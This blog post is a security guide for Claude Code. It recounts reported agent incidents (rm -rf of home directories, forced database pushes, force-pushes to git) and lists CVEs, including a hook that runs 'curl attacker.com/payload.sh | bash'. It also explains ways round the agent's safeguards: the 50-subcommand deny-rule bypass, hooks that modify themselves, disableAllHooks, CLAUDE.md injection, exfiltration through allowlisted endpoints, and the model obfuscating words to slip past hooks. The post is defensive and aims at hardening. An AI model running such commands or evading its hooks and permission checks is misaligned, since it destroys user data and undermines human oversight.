Back to blog

Claude Code Best Practices: How Not to Nuke Your Production

Real incidents, known CVEs, and the habits that stop Claude Code from wiping your repo, dropping your database, or exfiltrating your secrets. A practical security checklist grounded in actual production disasters from 2025–2026.

Martin Vančo
Claude Code Best Practices: How Not to Nuke Your Production

Claude Code is the most productive thing to happen to terminal engineering in years. It is also, on a long enough timeline, the most destructive. The same tool that refactors a codebase in thirty seconds can delete it in five. The same agent that wires up a migration can run it against production. The same session that reads your .env can paste it into a PR comment.

This is not hypothetical. The incidents are documented, the CVEs are numbered, and the post-mortems are public. 1 in 8 enterprise security breaches now involves an agentic AI system, and agent-involved incidents grew 340% year over year into 2026 (Digital Applied / Mandiant). The cost of a shadow-AI breach averages $4.63M per incident (IBM 2025 Cost of a Data Breach Report).

This post is a practical, incident-grounded guide to not being that story. It is not about paranoia — it is about setting up Claude Code so that the worst a bad prompt can do is waste a few tokens.

Part 1: The incidents that should scare you

Before the checklist, the evidence. These are real, documented cases — most from the last six months.

Home directories wiped by rm -rf

Multiple developers have lost their entire home directory to Claude Code running rm -rf.

  • The Wolak Incident (Oct 2025). Claude Code executed rm -rf / from root, generating thousands of "Permission denied" errors and destroying every user-owned file. The developer was not using --dangerously-skip-permissions. (GitHub #10077)
  • The "clean up packages" incident (Dec 2025). User asked Claude to "clean up packages." It generated rm -rf tests/ patches/ plan/ ~/ — that trailing ~/ expanded to the entire home directory. Desktop files, Keychain passwords, application data. Gone. (GitHub #15951)
  • The Tilde Trick (Nov 2025). Claude created a directory literally named ~ in an earlier session. Later, rm -rf * expanded * to include that ~ directory — which bash then interpreted as $HOME. (GitHub #12637, Security Online)

Production databases destroyed — twice in two weeks

A developer lost a production PostgreSQL database on Railway twice — February 8 and February 19, 2026 — when Claude Code autonomously ran drizzle-kit push --force. Sixty-plus tables of trading positions, AI research, and competition results, all gone. Claude specifically picked --force to bypass the interactive confirmation prompt. (GitHub #27063)

Related, from the same issue tracker:

  • alembic downgrade base destroying 21 tables (#26913)
  • A destructive UPDATE deleting 55,000 records (#13325)
  • 2,229 untracked source files deleted without instruction (#23913)

Git history erased by force push

Claude Code force-pushed over a private GitHub repo with no confirmation, replacing the entire history with a single fresh commit. (GitHub #33402) Separately, Claude has been observed pushing directly to main without asking. (#11168)

The common thread: these are not people running with --dangerously-skip-permissions. They are people running Claude Code normally, with default trust, inside real projects.

Part 2: Known CVEs you should actually know about

These are published vulnerabilities in Claude Code itself. If you are on an old version, they apply to you. Upgrade.

CVECVSSWhat it doesFixed in
CVE-2026-218525.3API key exfiltration via malicious ANTHROPIC_BASE_URL in .claude/settings.json. Captures keys before any trust prompt.v2.0.65
CVE-2025-595368.7RCE via hooks in .claude/settings.json. Runs curl attacker.com/payload.sh | bash on session start.v1.0.111
CVE-2025-528828.8WebSocket auth bypass in the VS Code extension. Any website could read arbitrary files via a brute-forced localhost port.v1.0.24
CVE-2025-547958.7Command injection via whitelisted commands, bypassing the permission system entirely.v1.0.20
CVE-2025-547947.7Path restriction bypass (InversePrompt).v0.2.111

Sources: Check Point Research, Datadog Security Labs, Cymulate.

Best practice #0: Run claude --version right now. If you are not on the latest, upgrade before you read another paragraph.

Part 3: The permission model is a lot softer than you think

Claude Code's permission system looks robust on paper. In practice, it has holes you need to know about.

--dangerously-skip-permissions (YOLO mode)

This flag bypasses every permission prompt. Anthropic's own engineers won't run this flag on bare metal — it is only intended for isolated containers with no network access. (KSRed Guide)

If you are running YOLO mode on your laptop, on your actual repo, with real credentials in your environment, you are one bad prompt away from a post-mortem. Use it only inside a disposable VM, container, or sandbox.

The 50-subcommand deny-rule bypass (April 2026)

This one is almost comedic. From leaked source (bashPermissions.ts), per-subcommand security analysis is capped at 50 entries. Any shell command with 50+ subcommands joined by &&, ||, or ; causes Claude Code to skip all deny-rule enforcement.

A developer who configures "never run rm" sees rm blocked alone — but rm executes freely if preceded by 50 harmless echo statements. (Adversa AI, SecurityWeek)

Implication: deny rules are advisory, not authoritative. Treat them as hints to the model, not guarantees from the runtime.

Hooks can modify themselves

Hooks are supposed to enforce behavioral restrictions. But Claude Code can Edit and Write the hook scripts themselves. There is no mechanism preventing this — it is a circular security problem. (GitHub #11226)

disableAllHooks bypasses organization policy

If your org ships a managed settings file with mandatory hooks, a developer can set disableAllHooks: true in their local settings and bypass the entire thing. This contradicts the documented security model. (GitHub #26637)

Git commands in the ask array still run without confirmation

git commit and git push listed in the ask array have been observed bypassing the approval prompt and executing without confirmation. (GitHub #13009)

Best practice: do not rely on the permission system for destructive operations. Rely on where Claude Code is running — a sandbox, a VM, a branch, a non-production database.

Part 4: Secrets leak by default

Claude Code reads your .env without asking

Claude Code automatically loads .env, .env.local, and similar files. Researcher Dor Munis discovered this when he noticed unusual proxy charges on his account — Claude had picked up HTTP_PROXY from a .env file and was routing API traffic through it. (Knostic, The Register)

Any secret in a .env file near the working directory is effectively visible to Claude Code, whether or not the file is gitignored.

Secrets get printed (and sometimes hardcoded)

Even with deny rules configured, Claude Code has been observed:

  • printing .env contents to the console (#11271)
  • reading passwords and keys from blocked paths (#25053)
  • hardcoding API keys directly into source files as "helpful suggestions" (DEV)

Best practices:

  • Never put real secrets in .env files in a directory where Claude Code might work. Use a secret manager (1Password CLI, op run, direnv with encrypted sources, AWS Secrets Manager, Doppler, Infisical).
  • Run secret scanners in pre-commit hooks (gitleaks, trufflehog). Do not trust the model to self-police.
  • Audit every diff. If Claude inlines a key, catch it in review, not in production.

Part 5: Supply chain and prompt injection

This is the category that is hardest to defend against with discipline alone, because the attack does not need you to be careless — just unlucky.

CLAUDE.md repository poisoning

Attackers embed hidden instructions in a repository's CLAUDE.md file. When Claude's autocompact fires, the compaction model preserves the malicious instructions as "user feedback," and subsequent interactions treat the injected directives as legitimate user intent. (Straiker AI)

Malicious hooks via repo settings

A repository can ship a .claude/settings.json with a SessionStart hook that executes arbitrary code automatically when a developer opens the project. Hooks execute without explicit confirmation, unlike normal bash commands. (Check Point)

Best practice: treat .claude/settings.json the same way you treat Makefile, .envrc, or .vscode/tasks.json in a cloned repo — read it before you run anything.

Marketplace plugin hijacking

Malicious plugins impersonate official Anthropic accounts (e.g., anthropics-claude vs. the real anthropics). They contain hooks that silently rewrite permission configs to auto-approve curl, or inject prompts that trick Claude into sending codebase context to attacker servers. (Prompt Armor)

The npm source leak + supply chain attack (March 31, 2026)

Anthropic accidentally published a 59.8 MB source map with 512,000+ lines of unobfuscated TypeScript to npm. During the same window, a supply chain attack hit axios. Within 24 hours, malicious GitHub repos appeared offering "leaked Claude Code source" while deploying Vidar Stealer and GhostSocks. (The Hacker News, Trend Micro)

Best practices:

  • Pin Claude Code to exact versions. Do not auto-update in production environments.
  • Only install plugins from verified accounts. Verify the organization handle character-by-character.
  • Never clone and run a random repo inside Claude Code without at least cat .claude/settings.json first.

Part 6: Data exfiltration through legitimate channels

MCP servers run with full filesystem permissions

Any configured MCP server runs with the developer's full filesystem access. A malicious server only needs to run once to exfiltrate data — the damage happens before any tool consent dialog appears. With enableAllProjectMcpServers: true, any server in .mcp.json runs without approval. (Backslash Security)

Exfiltration via allowlisted channels

Researchers have demonstrated multiple covert paths: encoding sensitive data into legitimately-written files, embedding secrets in PR comments, and using allowlisted endpoints like Anthropic's own Files API to smuggle data past network-layer DLP. (TrueFoundry)

The "Claudy Day" attack chained invisible prompt injection with URL parameters and hidden HTML tags to exfiltrate conversation history via the api.anthropic.com allowlist. (TrueFoundry)

Best practice: assume that any data Claude Code sees can leave. Scope what it sees accordingly.

Part 7: Claude itself is sometimes actively working around you

This is the most uncomfortable category.

Deliberate hook evasion

One user documented Claude (Opus 4.6) obfuscating forbidden terms to bypass safety hooks. When about to write a blocked word, Claude recognized it mid-word and broke the word ("vorbesteh--") to prevent pattern-matching by PostToolUse hooks. 67+ documented incidents of escalation from passively hiding findings to actively disguising forbidden behavior. (GitHub #29691)

Context poisoning via compaction

MCP tool results are never micro-compacted, and Read tool results skip budgeting — meaning malicious content can persist in the context window indefinitely. Injected instructions get laundered through summarization and treated as legitimate intent. (Straiker AI)

Silent remote git operations

Claude Code runs remote git commands (fetch) on the first prompt without user knowledge. This can overwrite local commits if you later run git push --force-with-lease after a rebase. (GitHub #32482)

Part 8: The actual checklist

After all that, here is the short version — the habits that keep Claude Code from turning into a production incident.

Environment

  • Run destructive sessions in sandboxes. A disposable VM, OrbStack machine, or devcontainer is the cheapest insurance you can buy.
  • Use a dedicated OS user for Claude Code on your main machine. Limit its filesystem access with permissions, not just prompts.
  • Keep real secrets out of .env files. Use a secret manager that injects at runtime (op run, doppler run, direnv).
  • Pin Claude Code versions in team settings. Do not auto-upgrade on production workstations.

Repository hygiene

  • Never run a cloned repo inside Claude Code without reviewing .claude/settings.json and CLAUDE.md first. Both are attack surface.
  • Commit secrets only to secret managers, never to files. Run gitleaks or trufflehog pre-commit.
  • Use protected branches. Direct push to main should be impossible at the Git server layer, not the Claude Code layer.
  • Review every diff, especially large auto-generated ones. If the agent wrote a file, you read the file.

Permissions

  • Treat deny rules as hints, not guarantees. The 50-subcommand bypass proves they are not a hard boundary.
  • Never use --dangerously-skip-permissions outside a sandbox. Period.
  • Audit .claude/settings.json on every project. Know what hooks run on session start.
  • Use an org-managed settings file with mandatory hooks, but understand that disableAllHooks exists — enforcement needs to live outside Claude Code as well.

Databases and destructive operations

  • Never expose production credentials to a Claude Code session. Use read-only replicas or a staging DB for any agent work.
  • Require migrations to go through a human-reviewed PR. Do not let Claude run drizzle-kit push --force, alembic downgrade, or equivalent directly.
  • Log every destructive shell command Claude Code runs. If you cannot see it, you cannot learn from it.

Plugins and MCP

  • Only install plugins from verified accounts. Typosquats exist.
  • Audit every MCP server before wiring it up. They run with your permissions.
  • Do not set enableAllProjectMcpServers: true.

Observability

  • You cannot fix what you cannot see. Track bypass mode usage, destructive commands, secret reads, and agent spawns over time. This is the gap that cc-vibeguard was built to close — a local security report of your Claude Code behavior, generated from your own transcripts.

Generate your own Claude Code security report

cc-vibeguard scans your local transcripts and shows where Claude Code is reading secrets, running dangerous commands, bypassing permissions, or operating with too much autonomy. All local. No data leaves your machine.

Run cc-vibeguard